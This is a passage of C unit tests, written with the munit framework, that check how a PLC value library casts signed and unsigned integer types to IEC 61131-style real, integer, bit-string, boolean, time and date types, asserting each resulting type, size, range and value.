munit_assert_uint32(sValue.Value.U32, ==, 1);
value_assign(&sValue, TYPE_DINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_UINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UINT);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.U16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.U16, ==, 0);
munit_assert_uint16(sValue.Value.U16, ==, 1);
value_assign(&sValue, TYPE_DINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_USINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_USINT);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.U8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.U8, ==, 0);
munit_assert_uint8(sValue.Value.U8, ==, 1);
value_assign(&sValue, TYPE_DINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_LWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.B64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.B64, ==, 0);
munit_assert_uint64(sValue.Value.B64, ==, 1);
value_assign(&sValue, TYPE_DINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.B32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.B32, ==, 0);
munit_assert_uint32(sValue.Value.B32, ==, 1);
value_assign(&sValue, TYPE_DINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_WORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_WORD);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.B16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.B16, ==, 0);
munit_assert_uint16(sValue.Value.B16, ==, 1);
value_assign(&sValue, TYPE_DINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_BYTE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BYTE);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.B8, ==, 0);
munit_assert_uint8(sValue.Value.B8, ==, 1);
value_assign(&sValue, TYPE_DINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_BOOL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BOOL);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B1, ==, 1);
munit_assert_uint8(sValue.Minimum.B1, ==, 0);
munit_assert_uint8(sValue.Value.B1, ==, 1);
value_assign(&sValue, TYPE_DINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_TIME), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TIME);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Time, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Time, ==, FLT_MIN);
munit_assert_float(sValue.Value.Time, ==, 1.0);
value_assign(&sValue, TYPE_DINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DATE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DATE);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_DINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DT);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_DINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_TOD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TOD);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_destroy(&sValue);
// TYPE_INT
value_initialise(&sValue);
value_assign(&sValue, TYPE_INT, -1);
munit_assert_int(value_cast(&sValue, TYPE_LREAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LREAL);
munit_assert_size(sValue.Length, ==, sizeof(double));
munit_assert_double(sValue.Maximum.Double, ==, DBL_MAX);
munit_assert_double(sValue.Minimum.Double, ==, DBL_MIN);
munit_assert_double(sValue.Value.Double, ==, -1.0);
value_assign(&sValue, TYPE_INT, -1);
munit_assert_int(value_cast(&sValue, TYPE_REAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_REAL);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Single, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Single, ==, FLT_MIN);
munit_assert_float(sValue.Value.Single, ==, -1.0f);
value_assign(&sValue, TYPE_INT, -1);
munit_assert_int(value_cast(&sValue, TYPE_LINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_size(sValue.Length, ==, sizeof(int64_t));
munit_assert_int64(sValue.Maximum.S64, ==, INT64_MAX);
munit_assert_int64(sValue.Minimum.S64, ==, INT64_MIN);
munit_assert_int64(sValue.Value.S64, ==, -1);
value_assign(&sValue, TYPE_INT, -1);
munit_assert_int(value_cast(&sValue, TYPE_DINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DINT);
munit_assert_size(sValue.Length, ==, sizeof(int32_t));
munit_assert_int32(sValue.Maximum.S32, ==, INT32_MAX);
munit_assert_int32(sValue.Minimum.S32, ==, INT32_MIN);
munit_assert_int32(sValue.Value.S32, ==, -1);
value_assign(&sValue, TYPE_INT, -1);
munit_assert_int(value_cast(&sValue, TYPE_INT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_INT);
munit_assert_size(sValue.Length, ==, sizeof(int16_t));
munit_assert_int16(sValue.Maximum.S16, ==, INT16_MAX);
munit_assert_int16(sValue.Minimum.S16, ==, INT16_MIN);
munit_assert_int16(sValue.Value.S16, ==, -1);
value_assign(&sValue, TYPE_INT, -1);
munit_assert_int(value_cast(&sValue, TYPE_SINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_SINT);
munit_assert_size(sValue.Length, ==, sizeof(int8_t));
munit_assert_int8(sValue.Maximum.S8, ==, INT8_MAX);
munit_assert_int8(sValue.Minimum.S8, ==, INT8_MIN);
munit_assert_int8(sValue.Value.S8, ==, -1);
value_assign(&sValue, TYPE_INT, 1);
munit_assert_int(value_cast(&sValue, TYPE_ULINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_ULINT);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.U64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.U64, ==, 0);
munit_assert_uint64(sValue.Value.U64, ==, 1);
value_assign(&sValue, TYPE_INT, 1);
munit_assert_int(value_cast(&sValue, TYPE_UDINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UDINT);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.U32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.U32, ==, 0);
munit_assert_uint32(sValue.Value.U32, ==, 1);
value_assign(&sValue, TYPE_INT, 1);
munit_assert_int(value_cast(&sValue, TYPE_UINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UINT);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.U16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.U16, ==, 0);
munit_assert_uint16(sValue.Value.U16, ==, 1);
value_assign(&sValue, TYPE_INT, 1);
munit_assert_int(value_cast(&sValue, TYPE_USINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_USINT);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.U8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.U8, ==, 0);
munit_assert_uint8(sValue.Value.U8, ==, 1);
value_assign(&sValue, TYPE_INT, 1);
munit_assert_int(value_cast(&sValue, TYPE_LWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.B64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.B64, ==, 0);
munit_assert_uint64(sValue.Value.B64, ==, 1);
value_assign(&sValue, TYPE_INT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.B32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.B32, ==, 0);
munit_assert_uint32(sValue.Value.B32, ==, 1);
value_assign(&sValue, TYPE_INT, 1);
munit_assert_int(value_cast(&sValue, TYPE_WORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_WORD);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.B16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.B16, ==, 0);
munit_assert_uint16(sValue.Value.B16, ==, 1);
value_assign(&sValue, TYPE_INT, 1);
munit_assert_int(value_cast(&sValue, TYPE_BYTE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BYTE);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.B8, ==, 0);
munit_assert_uint8(sValue.Value.B8, ==, 1);
value_assign(&sValue, TYPE_INT, 1);
munit_assert_int(value_cast(&sValue, TYPE_BOOL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BOOL);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B1, ==, 1);
munit_assert_uint8(sValue.Minimum.B1, ==, 0);
munit_assert_uint8(sValue.Value.B1, ==, 1);
value_assign(&sValue, TYPE_INT, 1);
munit_assert_int(value_cast(&sValue, TYPE_TIME), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TIME);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Time, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Time, ==, FLT_MIN);
munit_assert_float(sValue.Value.Time, ==, 1.0);
value_assign(&sValue, TYPE_INT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DATE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DATE);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_INT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DT);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_INT, 1);
munit_assert_int(value_cast(&sValue, TYPE_TOD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TOD);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_destroy(&sValue);
// TYPE_SINT
value_initialise(&sValue);
value_assign(&sValue, TYPE_SINT, -1);
munit_assert_int(value_cast(&sValue, TYPE_LREAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LREAL);
munit_assert_size(sValue.Length, ==, sizeof(double));
munit_assert_double(sValue.Maximum.Double, ==, DBL_MAX);
munit_assert_double(sValue.Minimum.Double, ==, DBL_MIN);
munit_assert_double(sValue.Value.Double, ==, -1.0);
value_assign(&sValue, TYPE_SINT, -1);
munit_assert_int(value_cast(&sValue, TYPE_REAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_REAL);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Single, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Single, ==, FLT_MIN);
munit_assert_float(sValue.Value.Single, ==, -1.0f);
value_assign(&sValue, TYPE_SINT, -1);
munit_assert_int(value_cast(&sValue, TYPE_LINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_size(sValue.Length, ==, sizeof(int64_t));
munit_assert_int64(sValue.Maximum.S64, ==, INT64_MAX);
munit_assert_int64(sValue.Minimum.S64, ==, INT64_MIN);
munit_assert_int64(sValue.Value.S64, ==, -1);
value_assign(&sValue, TYPE_SINT, -1);
munit_assert_int(value_cast(&sValue, TYPE_DINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DINT);
munit_assert_size(sValue.Length, ==, sizeof(int32_t));
munit_assert_int32(sValue.Maximum.S32, ==, INT32_MAX);
munit_assert_int32(sValue.Minimum.S32, ==, INT32_MIN);
munit_assert_int32(sValue.Value.S32, ==, -1);
value_assign(&sValue, TYPE_SINT, -1);
munit_assert_int(value_cast(&sValue, TYPE_INT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_INT);
munit_assert_size(sValue.Length, ==, sizeof(int16_t));
munit_assert_int16(sValue.Maximum.S16, ==, INT16_MAX);
munit_assert_int16(sValue.Minimum.S16, ==, INT16_MIN);
munit_assert_int16(sValue.Value.S16, ==, -1);
value_assign(&sValue, TYPE_SINT, -1);
munit_assert_int(value_cast(&sValue, TYPE_SINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_SINT);
munit_assert_size(sValue.Length, ==, sizeof(int8_t));
munit_assert_int8(sValue.Maximum.S8, ==, INT8_MAX);
munit_assert_int8(sValue.Minimum.S8, ==, INT8_MIN);
munit_assert_int8(sValue.Value.S8, ==, -1);
value_assign(&sValue, TYPE_SINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_ULINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_ULINT);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.U64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.U64, ==, 0);
munit_assert_uint64(sValue.Value.U64, ==, 1);
value_assign(&sValue, TYPE_SINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_UDINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UDINT);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.U32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.U32, ==, 0);
munit_assert_uint32(sValue.Value.U32, ==, 1);
value_assign(&sValue, TYPE_SINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_UINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UINT);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.U16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.U16, ==, 0);
munit_assert_uint16(sValue.Value.U16, ==, 1);
value_assign(&sValue, TYPE_SINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_USINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_USINT);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.U8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.U8, ==, 0);
munit_assert_uint8(sValue.Value.U8, ==, 1);
value_assign(&sValue, TYPE_SINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_LWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.B64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.B64, ==, 0);
munit_assert_uint64(sValue.Value.B64, ==, 1);
value_assign(&sValue, TYPE_SINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.B32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.B32, ==, 0);
munit_assert_uint32(sValue.Value.B32, ==, 1);
value_assign(&sValue, TYPE_SINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_WORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_WORD);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.B16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.B16, ==, 0);
munit_assert_uint16(sValue.Value.B16, ==, 1);
value_assign(&sValue, TYPE_SINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_BYTE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BYTE);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.B8, ==, 0);
munit_assert_uint8(sValue.Value.B8, ==, 1);
value_assign(&sValue, TYPE_SINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_BOOL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BOOL);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B1, ==, 1);
munit_assert_uint8(sValue.Minimum.B1, ==, 0);
munit_assert_uint8(sValue.Value.B1, ==, 1);
value_assign(&sValue, TYPE_SINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_TIME), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TIME);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Time, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Time, ==, FLT_MIN);
munit_assert_float(sValue.Value.Time, ==, 1.0);
value_assign(&sValue, TYPE_SINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DATE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DATE);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_SINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DT);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_SINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_TOD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TOD);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_destroy(&sValue);
// TYPE_ULINT
value_initialise(&sValue);
value_assign(&sValue, TYPE_ULINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_LREAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LREAL);
munit_assert_size(sValue.Length, ==, sizeof(double));
munit_assert_double(sValue.Maximum.Double, ==, DBL_MAX);
munit_assert_double(sValue.Minimum.Double, ==, DBL_MIN);
munit_assert_double(sValue.Value.Double, ==, 1.0);
value_assign(&sValue, TYPE_ULINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_REAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_REAL);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Single, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Single, ==, FLT_MIN);
munit_assert_float(sValue.Value.Single, ==, 1.0f);
value_assign(&sValue, TYPE_ULINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_LINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_size(sValue.Length, ==, sizeof(int64_t));
munit_assert_int64(sValue.Maximum.S64, ==, INT64_MAX);
munit_assert_int64(sValue.Minimum.S64, ==, INT64_MIN);
munit_assert_int64(sValue.Value.S64, ==, 1);
value_assign(&sValue, TYPE_ULINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DINT);
munit_assert_size(sValue.Length, ==, sizeof(int32_t));
munit_assert_int32(sValue.Maximum.S32, ==, INT32_MAX);
munit_assert_int32(sValue.Minimum.S32, ==, INT32_MIN);
munit_assert_int32(sValue.Value.S32, ==, 1);
value_assign(&sValue, TYPE_ULINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_INT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_INT);
munit_assert_size(sValue.Length, ==, sizeof(int16_t));
munit_assert_int16(sValue.Maximum.S16, ==, INT16_MAX);
munit_assert_int16(sValue.Minimum.S16, ==, INT16_MIN);
munit_assert_int16(sValue.Value.S16, ==, 1);
value_assign(&sValue, TYPE_ULINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_SINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_SINT);
munit_assert_size(sValue.Length, ==, sizeof(int8_t));
munit_assert_int8(sValue.Maximum.S8, ==, INT8_MAX);
munit_assert_int8(sValue.Minimum.S8, ==, INT8_MIN);
munit_assert_int8(sValue.Value.S8, ==, 1);
value_assign(&sValue, TYPE_ULINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_ULINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_ULINT);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.U64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.U64, ==, 0);
munit_assert_uint64(sValue.Value.U64, ==, 1);
value_assign(&sValue, TYPE_ULINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_UDINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UDINT);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.U32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.U32, ==, 0);
munit_assert_uint32(sValue.Value.U32, ==, 1);
value_assign(&sValue, TYPE_ULINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_UINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UINT);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.U16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.U16, ==, 0);
munit_assert_uint16(sValue.Value.U16, ==, 1);
value_assign(&sValue, TYPE_ULINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_USINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_USINT);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.U8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.U8, ==, 0);
munit_assert_uint8(sValue.Value.U8, ==, 1);
value_assign(&sValue, TYPE_ULINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_LWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.B64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.B64, ==, 0);
munit_assert_uint64(sValue.Value.B64, ==, 1);
value_assign(&sValue, TYPE_ULINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.B32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.B32, ==, 0);
munit_assert_uint32(sValue.Value.B32, ==, 1);
value_assign(&sValue, TYPE_ULINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_WORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_WORD);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.B16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.B16, ==, 0);
munit_assert_uint16(sValue.Value.B16, ==, 1);
value_assign(&sValue, TYPE_ULINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_BYTE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BYTE);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.B8, ==, 0);
munit_assert_uint8(sValue.Value.B8, ==, 1);
value_assign(&sValue, TYPE_ULINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_BOOL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BOOL);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B1, ==, 1);
munit_assert_uint8(sValue.Minimum.B1, ==, 0);
munit_assert_uint8(sValue.Value.B1, ==, 1);
value_assign(&sValue, TYPE_ULINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_TIME), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TIME);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Time, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Time, ==, FLT_MIN);
munit_assert_float(sValue.Value.Time, ==, 1.0);
value_assign(&sValue, TYPE_ULINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DATE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DATE);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_ULINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DT);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_ULINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_TOD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TOD);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_destroy(&sValue);
// TYPE_UDINT
value_initialise(&sValue);
value_assign(&sValue, TYPE_UDINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_LREAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LREAL);
munit_assert_size(sValue.Length, ==, sizeof(double));
munit_assert_double(sValue.Maximum.Double, ==, DBL_MAX);
munit_assert_double(sValue.Minimum.Double, ==, DBL_MIN);
munit_assert_double(sValue.Value.Double, ==, 1.0);
value_assign(&sValue, TYPE_UDINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_REAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_REAL);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Single, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Single, ==, FLT_MIN);
munit_assert_float(sValue.Value.Single, ==, 1.0f);
value_assign(&sValue, TYPE_UDINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_LINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_size(sValue.Length, ==, sizeof(int64_t));
munit_assert_int64(sValue.Maximum.S64, ==, INT64_MAX);
munit_assert_int64(sValue.Minimum.S64, ==, INT64_MIN);
munit_assert_int64(sValue.Value.S64, ==, 1);
value_assign(&sValue, TYPE_UDINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DINT);
munit_assert_size(sValue.Length, ==, sizeof(int32_t));
munit_assert_int32(sValue.Maximum.S32, ==, INT32_MAX);
munit_assert_int32(sValue.Minimum.S32, ==, INT32_MIN);
